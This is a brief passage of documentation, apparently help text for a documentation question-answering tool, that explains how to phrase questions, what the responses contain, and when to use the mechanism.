The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
